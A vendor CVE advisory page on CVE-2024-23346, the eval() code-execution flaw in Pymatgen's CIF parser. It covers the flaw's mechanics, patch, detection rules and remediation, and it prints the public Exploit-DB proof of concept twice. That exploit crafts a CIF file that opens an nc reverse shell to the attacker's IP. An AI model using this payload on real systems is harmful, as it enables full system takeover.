☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Pymatgen logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.4 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-23346

CVE-2024-23346 is a critical remote code execution (RCE) vulnerability in the Pymatgen library, a widely used open-source Python package for materials analysis.
📅 PUBLISHED: 2024-02-21 16:13 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 distinct-origin sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.82%
👁️
3.82% probability
95.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-23346 is a critical remote code execution (RCE) vulnerability in the Pymatgen library, a widely used open-source Python package for materials analysis. The flaw resides in the JonesFaithfulTransformation.from_transformation_str() method, which unsafely uses Python's eval() function to process user-supplied input. An attacker can craft a malicious CIF (Crystallographic Information File) that, when parsed by a vulnerable version of Pymatgen, executes arbitrary shell commands. The CVSS score of 9.4 reflects the ease of exploitation (no authentication required) and the potential for full system compromise. A public proof-of-concept (PoC) exploit is available, demonstrating a reverse shell attack. The vulnerability affects all versions prior to 2024.2.20.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Pymatgen is distributed via PyPI, making it a critical component in the Python materials science ecosystem. The vulnerability introduces a significant supply chain risk: any application or service that ingests CIF files from untrusted sources (e.g., user uploads, external databases) and uses Pymatgen for parsing is vulnerable. Organizations should audit their dependencies and ensure that Pymatgen is updated to the patched version. Additionally, consider using software composition analysis (SCA) tools to detect vulnerable versions in your environment.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – The victim does not need to perform any action beyond parsing the file.
  • Scope (S): Unchanged (U) – The exploit does not change the security scope.
  • Confidentiality (C): High (H) – Full system read access possible.
  • Integrity (I): High (H) – Full system write access possible.
  • Availability (A): High (H) – Potential for denial of service or full system takeover.

Threat Level: Critical. The combination of network exploitability, low complexity, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is rooted in the JonesFaithfulTransformation.from_transformation_str() method. This method is used to parse transformation strings from CIF files, specifically the _space_group_magn.transform_BNS_Pp_abc field. The method passes the input directly to Python's eval() function without sanitization.

# Vulnerable code (simplified)
class JonesFaithfulTransformation:
    @staticmethod
    def from_transformation_str(transformation_str):
        # Insecurely evaluates the input string
        result = eval(transformation_str)
        return result

An attacker can embed arbitrary Python code within the transformation string. The public PoC exploits this by injecting a command that uses Python's object introspection to access the os module and execute a reverse shell.

The attack flow:

  1. Attacker crafts a malicious CIF file with a payload in the _space_group_magn.transform_BNS_Pp_abc field.
  2. Victim uses Pymatgen's CifParser to parse the file.
  3. The parser calls from_transformation_str() with the attacker-controlled string.
  4. eval() executes the payload, spawning a reverse shell.

Vulnerable vs. Patched Code

Vulnerable (pre-2024.2.20):

# pymatgen/symmetry/maggroups.py (simplified)
class JonesFaithfulTransformation:
    @staticmethod
    def from_transformation_str(transformation_str):
        # UNSAFE: Direct eval of user input
        return eval(transformation_str)

Patched (2024.2.20+):

# pymatgen/symmetry/maggroups.py (simplified)
class JonesFaithfulTransformation:
    @staticmethod
    def from_transformation_str(transformation_str):
        # SAFE: Use ast.literal_eval for safe evaluation
        import ast
        return ast.literal_eval(transformation_str)

The patch replaces eval() with ast.literal_eval(), which only evaluates literal Python expressions (strings, numbers, tuples, lists, dicts, booleans, and None). This prevents arbitrary code execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

The public exploit (Exploit-DB) demonstrates a reverse shell attack. Below is the full exploit code:

# Exploit Title : Pymatgen 2024.1 - Remote Code Execution (RCE)
# Google Dork : (not applicable)
# Date : 2024-11-13
# Exploit Author : Mohammed Idrees Banyamer
# Vendor Homepage : https ://pymatgen.org
# Software Link : https ://pypi.org /project /pymatgen/
# Version : 2024.1
# Tested on : Kali Linux 2024.1
# CVE : CVE-2024-23346

import os

# Function to create the malicious CIF file
def create_malicious_cif(ip, port):
    # Constructing the malicious CIF file with reverse shell payload
    malicious_cif = f"""
data_5yOhtAoR
_audit_creation_date            2024-11-13
_audit_creation_method          "CVE-2024-23346 Pymatgen CIF Parser Reverse Shell Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("nc {ip} {port} -e /bin/bash");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
    """

    # Save to a file
    with open("vuln.cif", "w") as file:
        file.write(malicious_cif)
    print("[*] Malicious CIF file created: vuln.cif")

# Function to trigger the exploit by parsing the malicious CIF file
def exploit():
    ip = input("Enter your IP address for the reverse shell: ")
    port = input("Enter the port for the reverse shell to listen on: ")

    # Create the malicious CIF file
    create_malicious_cif(ip, port)

    # Trigger the Pymatgen CIF parser to parse the malicious file
    from pymatgen.io.cif import CifParser
    parser = CifParser("vuln.cif")
    structure = parser.parse_structures()

# Running the exploit
if __name__ == "__main__":
    exploit()

Lab Setup:

  1. Attacker Machine (Kali Linux): Run nc -lvnp <PORT> to listen for the reverse shell.
  2. Victim Machine: Install Pymatgen version 2024.1 (pip install pymatgen==2024.1).
  3. Execution: On the victim machine, run the exploit script. It will prompt for attacker IP and port, create vuln.cif, and parse it, triggering the reverse shell.

Blue Team (Defense & Detection)

Detection:

  • Monitor for processes spawning nc, /bin/bash, or other shells from Python scripts.
  • Look for CIF files containing suspicious strings like __class__, __mro__, __subclasses__, or os.system.
  • Use the detection rules below.

Mitigation:

  • Immediately upgrade Pymatgen to version 2024.2.20 or later.
  • If upgrade is not possible, implement input validation to reject CIF files containing eval-like patterns.
  • Use a Web Application Firewall (WAF) to block requests containing malicious CIF payloads.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – actual hash depends on payload)
    • vuln.cif: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Network Indicators:
    • Outbound connections to attacker-controlled IPs on common reverse shell ports (4444, 5555, etc.).
    • Unusual DNS queries or HTTP requests to C2 domains.
  • Process Indicators:
    • Python process spawning nc, bash, sh, or powershell.
    • Child processes with network connections.
  • File System Indicators:
    • Unexpected CIF files in directories where Pymatgen is used.
    • Temporary files with suspicious names.

Detection Engineering

YARA Rule

rule CVE_2024_23346_Pymatgen_RCE {
    meta:
        description = "Detects malicious CIF files exploiting CVE-2024-23346"
        author = "Valters IT"
        date = "2024-11-13"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-23346"
    strings:
        $s1 = "_space_group_magn.transform_BNS_Pp_abc"
        $s2 = "__class__"
        $s3 = "__mro__"
        $s4 = "__subclasses__"
        $s5 = "os.system"
        $s6 = "BuiltinImporter"
    condition:
        all of ($s1, $s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-23346 Pymatgen RCE via Malicious CIF
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2024-23346 via CIF file parsing
author: Valters IT
date: 2024-11-13
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'CifParser'
    condition: selection
falsepositives:
    - Legitimate use of CifParser with trusted files
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-23346 Pymatgen RCE - Malicious CIF Transfer"; flow:to_server,established; content:"_space_group_magn.transform_BNS_Pp_abc"; content:"__class__"; content:"__mro__"; content:"__subclasses__"; content:"os.system"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade Pymatgen to version 2024.2.20 or later.
    pip install --upgrade pymatgen
    
  2. Workaround: If upgrade is not possible, implement input validation to reject CIF files containing the pattern _space_group_magn.transform_BNS_Pp_abc with suspicious content.
  3. Network Segmentation: Restrict outbound connections from systems that parse CIF files to prevent reverse shell callbacks.
  4. Monitoring: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
  5. User Education: Warn users about the risks of parsing CIF files from untrusted sources.

Valters IT – DevSecOps & Cyber Threat Intelligence Report

{/* [Security Hash: FD2F1A23ECDF5669F9D84E71] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

# Exploit Title : Pymatgen 2024.1 - Remote Code Execution (RCE)
# Google Dork : (not applicable)
# Date : 2024-11-13
# Exploit Author : Mohammed Idrees Banyamer
# Vendor Homepage : https ://pymatgen.org
# Software Link : https ://pypi.org /project /pymatgen/
# Version : 2024.1
# Tested on : Kali Linux 2024.1
# CVE : CVE-2024-23346


import os

# Function to create the malicious CIF file
def create_malicious_cif(ip, port):
    # Constructing the malicious CIF file with reverse shell payload
    malicious_cif = f"""
data_5yOhtAoR
_audit_creation_date            2024-11-13
_audit_creation_method          "CVE-2024-23346 Pymatgen CIF Parser Reverse Shell Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("nc {ip} {port} -e /bin/bash");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
    """

    # Save to a file
    with open("vuln.cif", "w") as file:
        file.write(malicious_cif)
    print("[*] Malicious CIF file created: vuln.cif")

# Function to trigger the exploit by parsing the malicious CIF file
def exploit():
    ip = input("Enter your IP address for the reverse shell: ")
    port = input("Enter the port for the reverse shell to listen on: ")

    # Create the malicious CIF file
    create_malicious_cif(ip, port)

    # Trigger the Pymatgen CIF parser to parse the malicious file
    from pymatgen.io.cif import CifParser
    parser = CifParser("vuln.cif")
    structure = parser.parse_structures()

# Running the exploit
if __name__ == "__main__":
    exploit()
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-23346/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.